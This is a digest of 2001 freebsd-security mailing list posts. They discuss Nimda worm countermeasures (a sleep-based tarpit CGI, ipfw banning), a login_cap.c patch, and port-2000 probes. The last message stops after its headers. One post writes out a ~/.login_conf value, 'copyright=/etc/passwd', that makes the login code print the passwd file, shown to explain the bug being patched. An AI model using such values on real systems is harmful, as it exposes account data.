From owner-freebsd-security  Sun Sep 23  0: 2:34 2001
Delivered-To: freebsd-security@freebsd.org
Received: from courier.netrail.net (courier.netrail.net [205.215.10.53])
	by hub.freebsd.org (Postfix) with ESMTP id 2071337B417
	for <freebsd-security@freebsd.org>; Sun, 23 Sep 2001 00:02:32 -0700 (PDT)
Received: by courier.netrail.net (Postfix, from userid 5408)
	id D70B4E3; Sun, 23 Sep 2001 03:02:31 -0400 (EDT)
Date: Sun, 23 Sep 2001 03:02:31 -0400
From: "Christian S ." <cschreiber@netrail.net>
To: freebsd-security@freebsd.org
Message-ID: <20010923030231.A88974@netrail.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

unsubscribe


-- 
Christian Schreiber, Netrail Network Security Engineer
--
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
                -- Benjamin Franklin, 1759


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  1:36:52 2001
Delivered-To: freebsd-security@freebsd.org
Received: from wrath.cs.utah.edu (wrath.cs.utah.edu [155.99.198.100])
	by hub.freebsd.org (Postfix) with ESMTP id 2961437B422
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 01:36:48 -0700 (PDT)
Received: from faith.cs.utah.edu (faith.cs.utah.edu [155.99.198.108])
	by wrath.cs.utah.edu (8.11.6/8.11.1) with ESMTP id f8N8akT06366;
	Sun, 23 Sep 2001 02:36:47 -0600 (MDT)
From: David G Andersen <danderse@cs.utah.edu>
Received: (from danderse@localhost)
	by faith.cs.utah.edu (8.11.1/8.11.1) id f8N8akx29012;
	Sun, 23 Sep 2001 02:36:46 -0600 (MDT)
Message-Id: <200109230836.f8N8akx29012@faith.cs.utah.edu>
Subject: Re: New worm protection
To: chris@JEAH.net (Chris Byrnes)
Date: Sun, 23 Sep 2001 02:36:46 -0600 (MDT)
Cc: security@FreeBSD.ORG
In-Reply-To: <006701c141dd$8f185940$24f2fa18@mdsn1.wi.home.com> from "Chris Byrnes" at Sep 20, 2001 09:07:18 AM
X-Mailer: ELM [version 2.5 PL2]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Lo and behold, Chris Byrnes once said:
> 
> Has anyone written an easy-to-use ipfw rule or some kind of script that will
> help with this new worm?

Someone already pointed out disabling logging on your webserver.

He also suggested a Tarpit-like approach.  I like the following
simple script, which is what I run on my webservers.

mkdir DOCROOT/scripts
# Cover the two alternate bits as well
ln -s DOCROOT/scripts DOCROOT/_mem_bin
ln -s DOCROOT/scripts DOCROOT/_vti_bin

cat > DOCROOT/scripts/.htaccess
ErrorDocument 404 /scripts/nph-foo.cgi
<EOF>

cat > DOCROOT/scripts/nph-foo.cgi
#!/usr/bin/perl
sleep(5);
exit(0);
<EOF>

NIMDA doesn't hang out for very long waiting for a response
to the script headers, so a labrea-tarpit like approach won't
actually be particularly effective.  The sleep(5) will slow
it down a little bit, and the exit(0) will make it
return with no data sent back, not even a 404.  Which
will help a bit on the outbound bandwidth, but, of course
won't help on the inbound.  Others have posted scripts to
NANOG (see http://www.nanog.org/ and check the archive)
that will automatically trigger ipfw / ipchains additions,
but, as always, be particularly careful with those.

  -Dave

-- 
work: dga@lcs.mit.edu                          me:  dga@pobox.com
      MIT Laboratory for Computer Science           http://www.angio.net/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  3: 3:49 2001
Delivered-To: freebsd-security@freebsd.org
Received: from portal.eltex.ru (eltex-gw2.nw.ru [195.19.203.86])
	by hub.freebsd.org (Postfix) with ESMTP id 2204C37B419
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 03:03:41 -0700 (PDT)
Received: from yaksha.eltex.ru (root@yaksha.eltex.ru [195.19.198.2])
	by portal.eltex.ru (8.11.3/8.11.3) with SMTP id f8NA3kG89344;
	Sun, 23 Sep 2001 14:03:46 +0400 (MSD)
	(envelope-from ark@eltex.ru)
Received: by yaksha.eltex.ru (ssmtp TIS-0.6alpha, 19 Jan 2000); Sun, 23 Sep 2001 13:58:02 +0400
Received: from undisclosed-intranet-sender id smtpdy27341; Sun Sep 23 13:57:56 2001
From: ark@eltex.ru
Message-Id: <200109230958.NAA29845@paranoid.eltex.ru>
Subject: Re: New worm protection
To: danderse@cs.utah.edu (David G Andersen)
Date: Sun, 23 Sep 2001 13:58:05 +0400 (MSD)
Cc: chris@JEAH.net (Chris Byrnes), security@FreeBSD.ORG
Reply-To: ark@eltex.ru
In-Reply-To: <200109230836.f8N8akx29012@faith.cs.utah.edu> from "David G Andersen" at Sep 23, 2001 02:36:46 AM
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

nuqneH,

Is there a way to send a command to worm to shut it (or just a machine) down?
I remember Code Red installed some kind of backdoor that allowed remote control
without trying the whole bunch of exploits, does NIMDA have such a 'feature'?

YOU (David G Andersen) WROTE:
>  
>  NIMDA doesn't hang out for very long waiting for a response
>  to the script headers, so a labrea-tarpit like approach won't
>  actually be particularly effective.  The sleep(5) will slow
>  it down a little bit, and the exit(0) will make it
>  return with no data sent back, not even a 404.  Which
>  will help a bit on the outbound bandwidth, but, of course
>  won't help on the inbound.  Others have posted scripts to
>  NANOG (see http://www.nanog.org/ and check the archive)
>  that will automatically trigger ipfw / ipchains additions,
>  but, as always, be particularly careful with those.

-- 
                                     _     _  _  _  _      _  _
 {::} {::} {::}  CU in Hell          _| o |_ | | _|| |   / _||_|   |_ |_ |_
 (##) (##) (##)        /Arkan#iD    |_  o  _||_| _||_| /   _|  | o |_||_||_|
 [||] [||] [||]            Do i believe in Bible? Hell,man,i've seen one!

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  4:39:15 2001
Delivered-To: freebsd-security@freebsd.org
Received: from r220-1.rz.RWTH-Aachen.DE (r220-1.rz.RWTH-Aachen.DE [134.130.3.31])
	by hub.freebsd.org (Postfix) with ESMTP
	id 9A45937B409; Sun, 23 Sep 2001 04:38:58 -0700 (PDT)
Received: from r220-1.rz.RWTH-Aachen.DE (relay2.RWTH-Aachen.DE [134.130.3.1])
	by r220-1.rz.RWTH-Aachen.DE (8.10.1/8.11.3-2) with ESMTP id f8NBcwY18406;
	Sun, 23 Sep 2001 13:38:58 +0200 (MEST)
Received: from kawoserv.kawo2.rwth-aachen.de (root@kawoserv.kawo2.RWTH-Aachen.DE [134.130.180.1])
	by r220-1.rz.RWTH-Aachen.DE (8.10.1/8.11.3/6) with ESMTP id f8NBcvc18400;
	Sun, 23 Sep 2001 13:38:57 +0200 (MEST)
Received: from fump.kawo2.rwth-aachen.de (root@fump.kawo2.rwth-aachen.de [134.130.181.148])
	by kawoserv.kawo2.rwth-aachen.de (8.9.3/8.9.3) with ESMTP id NAA11978;
	Sun, 23 Sep 2001 13:38:55 +0200
Received: (from alex@localhost)
	by fump.kawo2.rwth-aachen.de (8.11.3/8.11.3) id f8NBd0Z10616;
	Sun, 23 Sep 2001 13:39:00 +0200 (CEST)
	(envelope-from alex)
Date: Sun, 23 Sep 2001 13:38:59 +0200
From: Alexander Langer <alex@big.endian.de>
To: Jordan Hubbard <jkh@FreeBSD.org>
Cc: ache@nagual.pp.ru, security@FreeBSD.org, rwatson@FreeBSD.org,
	current@FreeBSD.org, developers@FreeBSD.org
Subject: Re: ~/.login_conf disabling exact reasons wanted
Message-ID: <20010923133859.A10592@fump.kawo2.rwth-aachen.de>
Mail-Followup-To: Alexander Langer <alex@big.endian.de>,
	Jordan Hubbard <jkh@FreeBSD.org>, ache@nagual.pp.ru,
	security@FreeBSD.org, rwatson@FreeBSD.org, current@FreeBSD.org,
	developers@FreeBSD.org
References: <20010922141217.B7524@fump.kawo2.rwth-aachen.de> <20010922164448.A83816@nagual.pp.ru> <20010922151107.C7524@fump.kawo2.rwth-aachen.de> <20010922120739E.jkh@freebsd.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010922120739E.jkh@freebsd.org>; from jkh@FreeBSD.org on Sat, Sep 22, 2001 at 12:07:39PM -0700
X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8  A8 E3 BA F3 4E 60 7D 7F
X-PGP-at: finger alex@big.endian.de
X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung.
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Thus spake Jordan Hubbard (jkh@FreeBSD.org):

> The bug doesn't exist in 4.4 either.  It was fixed prior to release.
> Doesn't anyone read commit mail anymore?! :-(

Yes, I do, but FreeBSD was 4.4 even before it was fixed.
OTOH, the report on bugtraq also mentions, that 4.4-RELEASE isn't affected.

Alex

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  5: 7:33 2001
Delivered-To: freebsd-security@freebsd.org
Received: from nyc.rr.com (nycsmtp3fa.rdc-nyc.rr.com [24.29.99.79])
	by hub.freebsd.org (Postfix) with ESMTP id 6F10D37B432
	for <security@freebsd.org>; Sun, 23 Sep 2001 05:07:29 -0700 (PDT)
Received: from equinox ([24.168.44.136]) by nyc.rr.com  with Microsoft SMTPSVC(5.5.1877.357.35);
	 Sun, 23 Sep 2001 08:07:28 -0400
Message-ID: <01f601c14428$63637e90$9865fea9@equinox>
From: "Jonathan M. Slivko" <jslivko@4evermail.com>
To: "Chris Byrnes" <chris@JEAH.net>, <security@freebsd.org>
References: <006701c141dd$8f185940$24f2fa18@mdsn1.wi.home.com>
Subject: Re: New worm protection
Date: Sun, 23 Sep 2001 08:07:59 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

The best kind of protection I can offer is to write a script that will scan
the apache logs and use ipfw to ban whole class C's that generate a 404.
That may be a little extreme, but it works. I will try and get a copy of the
code to you later. -- Jonathan

----- Original Message -----
From: "Chris Byrnes" <chris@JEAH.net>
To: <security@freebsd.org>
Sent: Thursday, September 20, 2001 10:07 AM
Subject: New worm protection


> Has anyone written an easy-to-use ipfw rule or some kind of script that
will
> help with this new worm?
>
> I have restricted Apache to just listen to my main two web IPs instead of
> all of the IPs (I have
> hundreds of domains and each of them previously had its own IP for
different
> reasons), and
> that's cut down the bandwidth use in half, but I'm still about double what
> my daily normal bandwidth
> usage is.
>
> Frustration is high, and money issues are going to surface soon.  Any help
> would be appreciated.
>
>
> Chris Byrnes, Managing Member
> JEAH Communications, LLC
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  5:14:25 2001
Delivered-To: freebsd-security@freebsd.org
Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42])
	by hub.freebsd.org (Postfix) with ESMTP
	id 45B3637B417; Sun, 23 Sep 2001 05:14:04 -0700 (PDT)
Received: (from ache@localhost)
	by nagual.pp.ru (8.11.6/8.11.6) id f8NCE1U00543;
	Sun, 23 Sep 2001 16:14:02 +0400 (MSD)
	(envelope-from ache)
Date: Sun, 23 Sep 2001 16:13:57 +0400
From: "Andrey A. Chernov" <ache@nagual.pp.ru>
To: Robert Watson <rwatson@FreeBSD.ORG>
Cc: security@FreeBSD.ORG, current@FreeBSD.ORG,
	developers@FreeBSD.ORG, security-officer@FreeBSD.ORG
Subject: Patch for review (was Re: ~/.login_conf disabling exact reasons wanted)
Message-ID: <20010923161354.A426@nagual.pp.ru>
References: <20010922151116.A82718@nagual.pp.ru> <Pine.NEB.3.96L.1010922133112.39778A-100000@fledge.watson.org> <20010922224243.A88511@nagual.pp.ru> <20010922225821.A88800@nagual.pp.ru>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010922225821.A88800@nagual.pp.ru>
User-Agent: Mutt/1.3.21i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Sat, Sep 22, 2001 at 22:58:21 +0400, Andrey A. Chernov wrote:

> I'll work on the proper fix tomorrow.


Planned for commit. Please, review and/or comment.

--- login_cap.c.old	Sun Sep 23 16:09:04 2001
+++ login_cap.c	Sun Sep 23 16:06:19 2001
@@ -184,18 +184,17 @@
     login_cap_t	*lc;
   
     if ((lc = malloc(sizeof(login_cap_t))) != NULL) {
-	int	    r, i = 0;
+	int         r, me, i = 0;
 	uid_t euid = 0;
 	gid_t egid = 0;
 	const char  *msg = NULL;
-	const char  *dir = (pwd == NULL) ? NULL : pwd->pw_dir;
+	const char  *dir;
 	char	    userpath[MAXPATHLEN];
 
 	static char *login_dbarray[] = { NULL, NULL, NULL };
 
-#ifndef _FILE_LOGIN_CONF_WORKS
-	dir = NULL;
-#endif
+	me = (name != NULL && strcmp(name, LOGIN_MECLASS) == 0);
+	dir = (!me || pwd == NULL) ? NULL : pwd->pw_dir;
 	/*
 	 * Switch to user mode before checking/reading its ~/.login_conf
 	 * - some NFSes have root read access disabled.
@@ -215,7 +214,7 @@
 	    if (_secure_path(userpath, pwd->pw_uid, pwd->pw_gid) != -1)
 		i++;		/* only use 'secure' data */
 	}
-	if (_secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
+	if (me && _secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
 	    login_dbarray[i++] = _PATH_LOGIN_CONF;
 	login_dbarray[i] = NULL;
 
@@ -227,7 +226,7 @@
 
 	switch (cgetent(&lc->lc_cap, login_dbarray, (char*)name)) {
 	case -1:		/* Failed, entry does not exist */
-	    if (strcmp(name, LOGIN_MECLASS) == 0)
+	    if (me)
 		break;	/* Don't retry default on 'me' */
 	    if (i == 0)
 	        r = -1;

-- 
Andrey A. Chernov
http://ache.pp.ru/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  6: 9:21 2001
Delivered-To: freebsd-security@freebsd.org
Received: from bogslab.ucdavis.edu (bogslab.ucdavis.edu [169.237.68.34])
	by hub.freebsd.org (Postfix) with ESMTP id 19B9E37B40B
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 06:09:15 -0700 (PDT)
Received: from thistle.bogs.org (thistle.bogs.org [198.137.203.61])
	by bogslab.ucdavis.edu (8.9.3/8.9.3) with ESMTP id GAA20291
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 06:09:08 -0700 (PDT)
	(envelope-from greg@bogslab.ucdavis.edu)
Received: from thistle.bogs.org (localhost [127.0.0.1])
	by thistle.bogs.org (8.11.3/8.11.3) with ESMTP id f8ND72A10817
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 06:07:03 -0700 (PDT)
	(envelope-from greg@thistle.bogs.org)
Message-Id: <200109231307.f8ND72A10817@thistle.bogs.org>
To: security@FreeBSD.ORG
X-To: David G Andersen <danderse@cs.utah.edu>
X-Sender: owner-freebsd-security@FreeBSD.ORG 
Subject: Re: New worm protection 
In-reply-to: Your message of "Sun, 23 Sep 2001 02:36:46 MDT."
             <200109230836.f8N8akx29012@faith.cs.utah.edu> 
Reply-To: gkshenaut@ucdavis.edu
Date: Sun, 23 Sep 2001 06:07:01 -0700
From: Greg Shenaut <greg@bogslab.ucdavis.edu>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

In message <200109230836.f8N8akx29012@faith.cs.utah.edu>, David G Andersen cleopede:
>I like the following
>simple script, which is what I run on my webservers.
>
[script using a sleep(5) for delay purposes]
>
>NIMDA doesn't hang out for very long waiting for a response
>to the script headers, so a labrea-tarpit like approach won't
>actually be particularly effective.  The sleep(5) will slow
>it down a little bit, and the exit(0) will make it
>return with no data sent back, not even a 404.  Which
>will help a bit on the outbound bandwidth, but, of course
>won't help on the inbound.  Others have posted scripts to
>NANOG (see http://www.nanog.org/ and check the archive)
>that will automatically trigger ipfw / ipchains additions,
>but, as always, be particularly careful with those.

What would be the effect of having the web server ignore (as in,
make no response at all to) *any* attempt to GET a nonexistent
file? It seems to me that this would delay things maximally for
the attacker with the least effort at the server end.  But I
am concerned about the effect on innocent mistypers and web
crawling search engines (but not too concerned, frankly).

Greg Shenaut

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  6:11:15 2001
Delivered-To: freebsd-security@freebsd.org
Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42])
	by hub.freebsd.org (Postfix) with ESMTP
	id 8339337B42A; Sun, 23 Sep 2001 06:11:02 -0700 (PDT)
Received: (from ache@localhost)
	by nagual.pp.ru (8.11.6/8.11.6) id f8NDB1m01518;
	Sun, 23 Sep 2001 17:11:01 +0400 (MSD)
	(envelope-from ache)
Date: Sun, 23 Sep 2001 17:11:00 +0400
From: "Andrey A. Chernov" <ache@nagual.pp.ru>
To: Robert Watson <rwatson@FreeBSD.ORG>
Cc: security@FreeBSD.ORG, current@FreeBSD.ORG,
	developers@FreeBSD.ORG, security-officer@FreeBSD.ORG
Subject: Re: ~/.login_conf disabling exact reasons wanted
Message-ID: <20010923171100.B1253@nagual.pp.ru>
References: <20010922151116.A82718@nagual.pp.ru> <Pine.NEB.3.96L.1010922133112.39778A-100000@fledge.watson.org> <20010922224243.A88511@nagual.pp.ru> <20010922225821.A88800@nagual.pp.ru>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010922225821.A88800@nagual.pp.ru>
User-Agent: Mutt/1.3.21i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Sat, Sep 22, 2001 at 22:58:21 +0400, Andrey A. Chernov wrote:
> 
> Sorry for all that buzz, I am finally able to reproduce it on -current.
> 

Details: there is no security hole under -current, just broken 
functionality. You can specify
copyright=/etc/passwd
with passwd output (it is broken functionality), but specifying
copyright=/etc/master.passwd
outputs nothing.

See my patch posted today fixing this.

-- 
Andrey A. Chernov
http://ache.pp.ru/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  8: 0:43 2001
Delivered-To: freebsd-security@freebsd.org
Received: from pkl.net (spoon.pkl.net [212.111.57.14])
	by hub.freebsd.org (Postfix) with ESMTP id E310237B409
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 08:00:40 -0700 (PDT)
Received: from localhost (rik@localhost)
	by pkl.net (8.9.3/8.9.3) with ESMTP id QAA00998
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 16:00:40 +0100
Date: Sun, 23 Sep 2001 16:00:40 +0100 (BST)
From: freebsd-security@rikrose.net
X-Sender: rik@pkl.net
To: security@FreeBSD.ORG
Subject: Re: New worm protection
In-Reply-To: <200109230958.NAA29845@paranoid.eltex.ru>
Message-ID: <Pine.LNX.4.21.0109231558440.900-100000@pkl.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Sun, 23 Sep 2001 ark@eltex.ru wrote:
> Is there a way to send a command to worm to shut it (or just a machine) down?
> I remember Code Red installed some kind of backdoor that allowed remote control
> without trying the whole bunch of exploits, does NIMDA have such a 'feature'?

Allegedly, yes, it installs a passwordless admin account. There is
information "out there", aparently, although, I haven't been bothered to
look it up, so I may be wrong.

--
PGP Key: D2729A3F - Keyserver: wwwkeys.uk.pgp.net - rich at rdrose dot org
Key fingerprint = 5EB1 4C63 9FAD D87B 854C  3DED 1408 ED77 D272 9A3F
Public key also encoded with outguess on http://rikrose.net



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  9:25:28 2001
Delivered-To: freebsd-security@freebsd.org
Received: from tomts9-srv.bellnexxia.net (tomts9.bellnexxia.net [209.226.175.53])
	by hub.freebsd.org (Postfix) with ESMTP id B12AC37B40B
	for <security@freebsd.org>; Sun, 23 Sep 2001 09:25:25 -0700 (PDT)
Received: from unios.dhs.org ([209.226.99.101])
          by tomts9-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010923162519.OBGZ1679.tomts9-srv.bellnexxia.net@unios.dhs.org>
          for <security@freebsd.org>; Sun, 23 Sep 2001 12:25:19 -0400
Message-ID: <3BAE0D83.41ACBF7B@unios.dhs.org>
Date: Sun, 23 Sep 2001 12:27:47 -0400
From: Pat Wendorf <beholder@unios.dhs.org>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: security@freebsd.org
Subject: Identify this exploit
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

I notice I get nearly 100 messages a day from my LOG_IN_VAIN rc.conf
option.  Many of which, for the past few months has been connection
attempts to TCP port 2000, as seen here:

> Connection attempt to TCP 209.226.99.101:2000 from 216.104.103.95:1169

I'm not much up on my exploits, which one is this?

-- 

Pat Wendorf

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  9:30:17 2001
Delivered-To: freebsd-security@freebsd.org
Received: from poontang.schulte.org (poontang.schulte.org [209.134.156.197])
	by hub.freebsd.org (Postfix) with ESMTP id 74C2B37B419
	for <security@freebsd.org>; Sun, 23 Sep 2001 09:30:14 -0700 (PDT)
Received: from tarmap.schulte.org (tarmap.schulte.org [209.134.156.198])
	by poontang.schulte.org (Postfix) with ESMTP
	id 437F9D15BB; Sun, 23 Sep 2001 11:30:13 -0500 (CDT)
Message-Id: <5.1.0.14.0.20010923112848.0237d488@pop.schulte.org>
X-Sender: schulte@pop.schulte.org
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 23 Sep 2001 11:30:12 -0500
To: Pat Wendorf <beholder@unios.dhs.org>, security@freebsd.org
From: Christopher Schulte <christopher@schulte.org>
Subject: Re: Identify this exploit
In-Reply-To: <3BAE0D83.41ACBF7B@unios.dhs.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

At 12:27 PM 9/23/2001 -0400, Pat Wendorf wrote:
>I notice I get nearly 100 messages a day from my LOG_IN_VAIN rc.conf
>option.  Many of which, for the past few months has been connection
>attempts to TCP port 2000, as seen here:
>
> > Connection attempt to TCP 209.226.99.101:2000 from 216.104.103.95:1169
>
>I'm not much up on my exploits, which one is this?

Could be trying to exploit a wind0wz trojan exploit:

from http://www.sans.org/newlook/resources/IDFAQ/oddports.htm

port 2000 Der Sp=E4her / Der Spaeher, Insane Network

>--
>
>Pat Wendorf

--
Christopher Schulte
christopher@schulte.org
http://noc.schulte.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  9:32:32 2001
Delivered-To: freebsd-security@freebsd.org
Received: from bogslab.ucdavis.edu (bogslab.ucdavis.edu [169.237.68.34])
	by hub.freebsd.org (Postfix) with ESMTP id 5FA6437B416
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 09:32:29 -0700 (PDT)
Received: from thistle.bogs.org (thistle.bogs.org [198.137.203.61])
	by bogslab.ucdavis.edu (8.9.3/8.9.3) with ESMTP id JAA20916
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 09:32:27 -0700 (PDT)
	(envelope-from greg@bogslab.ucdavis.edu)
Received: from thistle.bogs.org (localhost [127.0.0.1])
	by thistle.bogs.org (8.11.3/8.11.3) with ESMTP id f8NGUMA11199
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 09:30:24 -0700 (PDT)
	(envelope-from greg@thistle.bogs.org)
Message-Id: <200109231630.f8NGUMA11199@thistle.bogs.org>
To: security@FreeBSD.ORG
X-To: Pat Wendorf <beholder@unios.dhs.org>
X-Sender: owner-freebsd-security@FreeBSD.ORG 
Subject: Re: Identify this exploit 
In-reply-to: Your message of "Sun, 23 Sep 2001 12:27:47 EDT."
             <3BAE0D83.41ACBF7B@unios.dhs.org> 
Reply-To: gkshenaut@ucdavis.edu
Date: Sun, 23 Sep 2001 09:30:22 -0700
